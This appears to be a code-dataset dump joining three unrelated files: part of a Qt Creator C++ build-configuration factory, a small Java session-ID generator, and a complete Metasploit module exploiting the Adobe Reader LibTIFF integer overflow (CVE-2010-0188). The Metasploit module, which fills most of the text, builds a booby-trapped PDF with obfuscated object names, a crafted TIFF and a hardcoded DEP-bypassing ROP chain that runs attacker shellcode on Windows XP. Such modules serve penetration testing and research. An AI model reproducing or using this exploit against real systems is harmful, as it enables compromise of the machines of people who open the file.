}
int IBuildConfigurationFactory::priority(const Kit *k, const QString &projectPath) const
{
QTC_ASSERT(!m_supportedProjectMimeTypeName.isEmpty(), return -1);
if (k && Utils::mimeTypeForFile(projectPath).matchesName(m_supportedProjectMimeTypeName)
&& supportsTargetDeviceType(DeviceTypeKitInformation::deviceTypeId(k))) {
return m_basePriority;
}
return -1;
}
// setup
IBuildConfigurationFactory *IBuildConfigurationFactory::find(const Kit *k, const QString &projectPath)
{
IBuildConfigurationFactory *factory = nullptr;
int priority = -1;
for (IBuildConfigurationFactory *i : g_buildConfigurationFactories) {
int iPriority = i->priority(k, projectPath);
if (iPriority > priority) {
factory = i;
priority = iPriority;
}
}
return factory;
}
// create
IBuildConfigurationFactory * IBuildConfigurationFactory::find(Target *parent)
{
IBuildConfigurationFactory *factory = nullptr;
int priority = -1;
for (IBuildConfigurationFactory *i : g_buildConfigurationFactories) {
int iPriority = i->priority(parent);
if (iPriority > priority) {
factory = i;
priority = iPriority;
}
}
return factory;
}
void IBuildConfigurationFactory::setSupportedProjectType(Core::Id id)
{
m_supportedProjectType = id;
}
void IBuildConfigurationFactory::setSupportedProjectMimeTypeName(const QString &mimeTypeName)
{
m_supportedProjectMimeTypeName = mimeTypeName;
}
void IBuildConfigurationFactory::setSupportedTargetDeviceTypes(const QList<Core::Id> &ids)
{
m_supportedTargetDeviceTypes = ids;
}
void IBuildConfigurationFactory::setBasePriority(int basePriority)
{
m_basePriority = basePriority;
}
bool IBuildConfigurationFactory::canHandle(const Target *target) const
{
if (m_supportedProjectType.isValid() && m_supportedProjectType != target->project()->id())
return false;
if (containsType(target->project()->projectIssues(target->kit()), Task::TaskType::Error))
return false;
if (!supportsTargetDeviceType(DeviceTypeKitInformation::deviceTypeId(target->kit())))
return false;
return true;
}
BuildConfiguration *IBuildConfigurationFactory::create(Target *parent, const BuildInfo *info) const
{
if (!canHandle(parent))
return nullptr;
QTC_ASSERT(m_creator, return nullptr);
BuildConfiguration *bc = m_creator(parent);
if (!bc)
return nullptr;
bc->initialize(info);
return bc;
}
BuildConfiguration *IBuildConfigurationFactory::restore(Target *parent, const QVariantMap &map)
{
IBuildConfigurationFactory *factory = nullptr;
int priority = -1;
for (IBuildConfigurationFactory *i : g_buildConfigurationFactories) {
if (!i->canHandle(parent))
continue;
const Core::Id id = idFromMap(map);
if (!id.name().startsWith(i->m_buildConfigId.name()))
continue;
int iPriority = i->priority(parent);
if (iPriority > priority) {
factory = i;
priority = iPriority;
}
}
if (!factory)
return nullptr;
QTC_ASSERT(factory->m_creator, return nullptr);
BuildConfiguration *bc = factory->m_creator(parent);
QTC_ASSERT(bc, return nullptr);
if (!bc->fromMap(map)) {
delete bc;
bc = nullptr;
}
return bc;
}
BuildConfiguration *IBuildConfigurationFactory::clone(Target *parent,
const BuildConfiguration *source)
{
return restore(parent, source->toMap());
}
} // namespace ProjectExplorer
| sailfish-sdk/sailfish-qtcreator | src/plugins/projectexplorer/buildconfiguration.cpp | C++ | gpl-3.0 | 15,163 |
package com.example.heregpsloc;
import java.security.SecureRandom;
import java.math.BigInteger;
// http://stackoverflow.com/questions/41107/how-to-generate-a-random-alpha-numeric-string
public final class SessionIdentifierGenerator {
private SecureRandom random = new SecureRandom();
public String nextSessionId() {
return new BigInteger(130, random).toString(32);
}
} | popokatapepel/project_uebersaxen | app/src/main/java/com/example/heregpsloc/SessionIdentifierGenerator.java | Java | gpl-3.0 | 392 |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Acrobat Bundled LibTIFF Integer Overflow',
'Description' => %q{
This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat
Professional versions 8.0 through 8.2 and 9.0 through 9.3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Microsoft', # reported to Adobe
'villy <villys777[at]gmail.com>', # public exploit
# Metasploit version by:
'jduck'
],
'References' =>
[
[ 'CVE', '2010-0188' ],
[ 'BID', '38195' ],
[ 'OSVDB', '62526' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-07.html' ],
[ 'URL', 'http://secunia.com/blog/76/' ],
[ 'URL', 'http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# test results (on Windows XP SP3)
# reader 6.0.1 - untested
# reader 7.0.5 - untested
# reader 7.0.8 - untested
# reader 7.0.9 - untested
# reader 7.1.0 - untested
# reader 7.1.1 - untested
# reader 8.0.0 - untested
# reader 8.1.1 - untested
# reader 8.1.2 - untested
# reader 8.1.3 - untested
# reader 8.1.4 - untested
# reader 8.1.5 - untested
# reader 8.1.6 - untested
# reader 8.2.0 - untested
# reader 9.0.0 - untested
# reader 9.1.0 - untested
# reader 9.2.0 - untested
# reader 9.3.0 - works
[ 'Adobe Reader 9.3.0 on Windows XP SP3 English (w/DEP bypass)',
{
# ew, hardcoded offsets - see make_tiff()
}
],
],
'DisclosureDate' => 'Feb 16 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
tiff_data = make_tiff(payload.encoded)
xml_data = make_xml(tiff_data)
compressed = Zlib::Deflate.deflate(xml_data)
# Create the pdf
pdf = make_pdf(compressed)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def random_non_ascii_string(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def io_def(id)
"%d 0 obj\r\n" % id
end
def io_ref(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def n_obfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ascii_hex_whitespace_encode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(xml_data)
xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol
pdf = "%PDF-1.5" << eol
pdf << "%" << random_non_ascii_string(4) << eol
xref << pdf.length
pdf << io_def(1) << n_obfu("<</Filter/FlateDecode/Length ") << xml_data.length.to_s << n_obfu("/Type /EmbeddedFile>>") << eol
pdf << "stream" << eol
pdf << xml_data << eol
pdf << eol << "endstream" << eol
pdf << endobj
xref << pdf.length
pdf << io_def(2) << n_obfu("<</V () /Kids [") << io_ref(3) << n_obfu("] /T (") << "topmostSubform[0]" << n_obfu(") >>") << eol << endobj
xref << pdf.length
pdf << io_def(3) << n_obfu("<</Parent ") << io_ref(2) << n_obfu(" /Kids [") << io_ref(4) << n_obfu("] /T (") << "Page1[0]" << n_obfu(")>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(4) << n_obfu("<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P ") << io_ref(5)
pdf << n_obfu("/FT /Btn/TU (") << "ImageField1" << n_obfu(")/Ff 65536/Parent ") << io_ref(3)
pdf << n_obfu("/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (") << "ImageField1[0]" << n_obfu(")/Rect [107.385 705.147 188.385 709.087]>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(5) << n_obfu("<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent ")
pdf << io_ref(6) << n_obfu("/Type /Page/PieceInfo null>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(6) << n_obfu("<</Kids [") << io_ref(5) << n_obfu("]/Type /Pages/Count 1>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(7) << ("<</PageMode /UseAttachments/Pages ") << io_ref(6)
pdf << ("/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm ") << io_ref(8)
pdf << ("/Type /Catalog>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(8) << n_obfu("<</DA (/Helv 0 Tf 0 g )/XFA [(template) ") << io_ref(1) << n_obfu("]/Fields [")
pdf << io_ref(2) << n_obfu("]>>")
pdf << endobj << eol
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(7) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF"
end
def make_tiff(code)
tiff_offset = 0x2038
shellcode_offset = 1500
tiff = "II*\x00"
tiff << [tiff_offset].pack('V')
tiff << make_nops(shellcode_offset)
tiff << code
# Padding
tiff << rand_text_alphanumeric(tiff_offset - 8 - code.length - shellcode_offset)
tiff << "\x07\x00\x00\x01\x03\x00\x01\x00"
tiff << "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"
tiff << "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"
tiff << "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"
tiff << "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"
tiff << "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"
tiff << "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00"
# The following executes a ret2lib using BIB.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data = [
0x70072f7, # pop eax / ret
0x10104,
0x70015bb, # pop ecx / ret
0x1000,
0x700154d, # mov [eax], ecx / ret
0x70015bb, # pop ecx / ret
0x7ffe0300, # -- location of KiFastSystemCall
0x7007fb2, # mov eax, [ecx] / ret
0x70015bb, # pop ecx / ret
0x10011,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70015bb, # pop ecx / ret
0x10100,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70072f7, # pop eax / ret
0x10011,
0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
0x7005c54, # pop esi / add esp,0x14 / ret
0xffffffff,
0x10100,
0x0,
0x10104,
0x1000,
0x40,
# The next bit effectively copies data from the interleaved stack to the memory
# pointed to by eax
# The data copied is:
# \x5a\x52\x6a\x02\x58\xcd\x2e\x3c\xf4\x74\x5a\x05\xb8\x49\x49\x2a
# \x00\x8b\xfa\xaf\x75\xea\x87\xfe\xeb\x0a\x5f\xb9\xe0\x03\x00\x00
# \xf3\xa5\xeb\x09\xe8\xf1\xff\xff\xff\x90\x90\x90\xff\xff\xff\x90
0x700d731, # mov eax, [ebp-0x24] / ret
0x70015bb, # pop ecx / ret
0x26a525a,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x3c2ecd58,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xf4745a05,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x2a4949b8,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xaffa8b00,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xfe87ea75,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xb95f0aeb,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x3e0,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x9eba5f3,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xfffff1e8,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x909090ff,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90ffffff,
0x700154d, # mov [eax], ecx / ret
0x700d731, # mov eax, [ebp-0x24] / ret
0x700112f # call eax -- (execute stub to transition to full shellcode)
].pack('V*')
tiff << stack_data
Rex::Text.encode_base64(tiff)
end
def make_xml(tiff_data)
xml_data = <<-EOS
<?xml version="1.0" encoding="UTF-8" ?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<interactive>1</interactive>
<linearized>1</linearized>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination>
</present>
</config>
<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
<subform name="topmostSubform" layout="tb" locale="en_US">
<pageSet>
<pageArea id="PageArea1" name="PageArea1">
<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />
<medium short="612pt" long="792pt" stock="custom" />
</pageArea>
</pageSet>
<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
<break before="pageArea" beforeTarget="#PageArea1" />
<bind match="none" />
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
<ui>
<imageEdit />
</ui>
</field>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner FormTargetVersion 24?>
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
<?templateDesigner Zoom 94?>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data>
<topmostSubform>
<ImageField1 xfa:contentType="image/tif" href="">REPLACE_TIFF</ImageField1>
</topmostSubform>
</xfa:data>
</xfa:datasets>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />
<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
<subform name="topmostSubform">
<instanceManager name="_Page1" />
<subform name="Page1">
<field name="ImageField1" />
</subform>
<pageSet>
<pageArea name="PageArea1" />
</pageSet>
</subform>
</form>
</xdp:xdp>
EOS
xml_data.gsub!(/REPLACE_TIFF/, tiff_data)
xml_data
end
end
| cSploit/android.MSF | modules/exploits/windows/fileformat/adobe_libtiff.rb | Ruby | gpl-3.0 | 12,227 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.